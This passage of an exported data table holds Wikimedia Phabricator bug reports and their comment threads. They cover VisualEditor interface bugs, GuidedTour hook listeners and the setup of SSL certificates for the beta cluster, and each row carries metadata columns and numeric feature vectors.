+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1368819600,1368885016.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-kayythzbd2m7qbeafhrw,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+232529,VisualEditor: 'Review and save' disabled after undo on oldid page,Merged; will go out with wmf5.,,,1368885016,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kayythzbd2m7qbeafhrw,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+232525,VisualEditor: 'Review and save' disabled after undo on oldid page,Related URL: https://gerrit.wikimedia.org/r/64372 (Gerrit Change I67c011ac655d4e553f9467cab10a875aaac61d03),,,1368820898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kayythzbd2m7qbeafhrw,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50576,"Text field seems to lose focus, selection not possible any more","When ""deselecting"" the text field of the visual editor (e.g. by clicking into the summary field) it seems to somehow loose focus.
+
+It's then not possible to directly select text (with the mouse) anymore. One needs to first click one time into the text field to be able to normally select text again.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1368796920,1395789580.0,PHID-USER-v3yn5qf233ggnnnmvejc,False,,False,PHID-TASK-namz3nhksthhosxp6pjt,task_description,resolved,True,c1,1,False,False,False,-7,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+232135,"Text field seems to lose focus, selection not possible any more","I d'not know why I ever wrote VisualEditor but this definitely is about CodeEditor. And it definitely is fixed now!
+
+Thanks for bringing it up again (I remember you adding the PATCH_TO_REVIEW) but it wasn't merged back then so I couldn't test if the bug was really fixed) so we can close it for good.",,,1395789580,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,3,False,,,38,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+232131,"Text field seems to lose focus, selection not possible any more","Wait, this is in the CodeEditor extension group, but people are talking about the 'visual editor'. Did the reporter originally file it under the wrong Extension ?
+
+Eduard, can you clarify please ?",,,1395786171,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,3,True,,,38,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0
+232128,"Text field seems to lose focus, selection not possible any more",This seems fixed with: https://gerrit.wikimedia.org/r/104510,,,1388485715,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,3,True,,,26,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+232124,"Text field seems to lose focus, selection not possible any more",Is this the same issue as bug 50722?,,,1373479425,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+232118,"Text field seems to lose focus, selection not possible any more","I think I can replicate this bug, but I'm not sure I entirely understand the whole problem.
+
+If I select some text in the CodeEditor box, then click into another input element on the page to move focus there, then click back into to the CodeEditor, the cursor position within the text area does not change to the place I just clicked at and the selected text remains selected. I would expect it to deselect all text and move the cursor position to where the mouse cursor is. Major -> Minor",,,1368807619,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,1,True,,,-7,,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+232113,"Text field seems to lose focus, selection not possible any more",I'm using Firefox 21 on Windows 7.,,,1368803015,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+232108,"Text field seems to lose focus, selection not possible any more",Could you please provide browser information?,,,1368802912,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+50564,"VisualEditor: ""Move this category here"" should not appear in category suggestions when you've not picked one that exists","It should only appear when you're matching to a single, extant category - it doesn't appear for a new category, but appears (with no content) where you match more than one, which is confusing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1368749040,1370567377.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ppxeze2biaiay2bq2ned,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+231244,"VisualEditor: ""Move this category here"" should not appear in category suggestions when you've not picked one that exists",This is fixed.,,,1370567377,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ppxeze2biaiay2bq2ned,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+50556,"VisualEditor: ""Move this category here"" should not appear for the last category","It's a no-op, and is confusing. (But is it more confusing to list it?)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1368745380,1370986001.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-isog5p3qki3pp25ezf63,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0
+230763,"VisualEditor: ""Move this category here"" should not appear for the last category",https://gerrit.wikimedia.org/r/68130 (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c) | change APPROVED and MERGED [by jenkins-bot],,,1371002078,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+230757,"VisualEditor: ""Move this category here"" should not appear for the last category",Related URL: https://gerrit.wikimedia.org/r/68130 (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c),,,1371001967,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+230748,"VisualEditor: ""Move this category here"" should not appear for the last category",Related URL: https://gerrit.wikimedia.org/r/68130 (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c),,,1371001964,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+230738,"VisualEditor: ""Move this category here"" should not appear for the last category",Now merged.,,,1370986001,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+230729,"VisualEditor: ""Move this category here"" should not appear for the last category",Related URL: https://gerrit.wikimedia.org/r/67922 (Gerrit Change I93ce05f7cbb28313a3f0827539f0528c366aeb7e),,,1370905247,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50507,mw.hook listeners for GuidedTour for shouldSkip,"Investigate how mw.hook could be useful for GuidedTour.  One idea is subscribing to state changes for shouldSkip.  For instance, UploadWizard has an AJAX-type interface where you go from step to step without changing pages.
+
+If we could listen to those steps, we could trigger the shouldSkip check (by calling guiders.resume or maybe another method that only checks this).
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",Medium,50.0,1368612900,1402344878.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-xj7stom4ugsmlhxmz6az,task_description,resolved,True,c1,1,True,False,False,-7,,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+227908,mw.hook listeners for GuidedTour for shouldSkip,"Change 116228 merged by jenkins-bot:
+Refactor and add non-linear tours, with tests
+
+https://gerrit.wikimedia.org/r/116228",,,1402332994,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xj7stom4ugsmlhxmz6az,task_subcomment,,True,c1,3,False,,,49,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227906,mw.hook listeners for GuidedTour for shouldSkip,"Change 116228 had a related patch set uploaded by Mattflaschen:
+WIP: Refactor and add non-linear tours, with tests
+
+https://gerrit.wikimedia.org/r/116228",,,1397707892,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xj7stom4ugsmlhxmz6az,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+227903,mw.hook listeners for GuidedTour for shouldSkip,"This is done for VisualEditor.  I made this a tracking bug, and opened a separate one (bug 51985) for UploadWizard.",,,1374693237,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-xj7stom4ugsmlhxmz6az,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+227899,mw.hook listeners for GuidedTour for shouldSkip,I'm working on a change set right now that uses mw.hook for VE like this.,,,1373067339,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-xj7stom4ugsmlhxmz6az,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+50501,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We now have nginx SSL proxies in front of the beta caches (Bug T38648). We still have to fix the certificate (that is *.wmflabs.org for now).
+
+We need certificates generated by 'Labs CA' for the entries listed in role::protoproxy::ssl::beta and some more.  I guess the easiest would be to create *.beta.wmflabs.org cert that will also contains the following DNS entries:
+
+*.wikimedia.beta.wmflabs.org
+*.wikibooks.beta.wmflabs.org
+*.wikinews.beta.wmflabs.org
+*.wikipedia.beta.wmflabs.org
+*.wikiquote.beta.wmflabs.org
+*.wikisource.beta.wmflabs.org
+*.wikiversity.beta.wmflabs.org
+*.wikivoyage.beta.wmflabs.org
+*.wiktionary.beta.wmflabs.org
+
+And the mobile ones:
+
+*.m.wikimedia.beta.wmflabs.org
+*.m.wikibooks.beta.wmflabs.org
+*.m.wikinews.beta.wmflabs.org
+*.m.wikipedia.beta.wmflabs.org
+*.m.wikiquote.beta.wmflabs.org
+*.m.wikisource.beta.wmflabs.org
+*.m.wikiversity.beta.wmflabs.org
+*.m.wikivoyage.beta.wmflabs.org
+*.m.wiktionary.beta.wmflabs.org
+
+*.zero.wikipedia.beta.wmflabs.org
+
+**See Also**:
+{T56065}
+{T70387}
+{T71269}",Medium,50.0,1368604800,1472656512.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-p25kct7eiowcmvkmyncx,task_description,resolved,True,c1,1,True,True,False,-7,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1
+982520,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.
+
+Edit: ignore this, this comment was meant to be on T97593)",,,1513299970,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,232,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+982518,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.,,,1513299825,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,232,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0
+720717,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Thanks to @Krenair (with reviews from @BBlack ) we got SSL on beta cluster.  That is quite an achievement.
+
+The last remaining patch has been merged in. I believe there is nothing left to do there.",,,1472656512,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,165,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+720695,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 247587 merged by BBlack:
+beta: Use Let's Encrypt cert
+
+[[https://gerrit.wikimedia.org/r/247587]]",,,1472654942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,165,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+716639,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"So that is now pending review / merge of https://gerrit.wikimedia.org/r/247587 //beta: Use Let's Encrypt cert// which is already on beta cluster.
+",,,1472038753,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,164,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+716534,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Convince someone with ops rights to merge the patch,,,1472028326,,PHID-USER-mvx4x7ywk2flsaku2dbk,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,164,,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+716533,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,That is really neat @AlexMonk-WMF !  Is there anything left to do?,,,1472027977,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,164,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0
+704147,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 302409 merged by jenkins-bot:
+deployment-prep: Swap config to HTTPS
+
+[[https://gerrit.wikimedia.org/r/302409]]",,,1470134583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,161,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+704143,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 302409 had a related patch set uploaded (by Alex Monk):
+deployment-prep: Swap config to HTTPS
+
+[[https://gerrit.wikimedia.org/r/302409]]
+",,,1470134511,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,161,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+704024,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 247587 had a related patch set uploaded (by Alex Monk):
+beta: Use Let's Encrypt for upload, and new self-signed SSL certificate for most of text
+
+[[https://gerrit.wikimedia.org/r/247587]]
+",,,1470107265,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,161,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1
+704053,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their mobile variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.,,,1470123240,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,161,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+704022,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.,,,1470107154,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,161,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+672898,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Its puppetized now, should not be hard anymore. We already use it in prod.",,,1464824261,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,152,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+646697,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It may or may not be a strict blocker but we should probably wait for {T132812},,,1460745558,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,145,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+646664,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#2210861, @csteipp wrote:
+> Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.
+> 
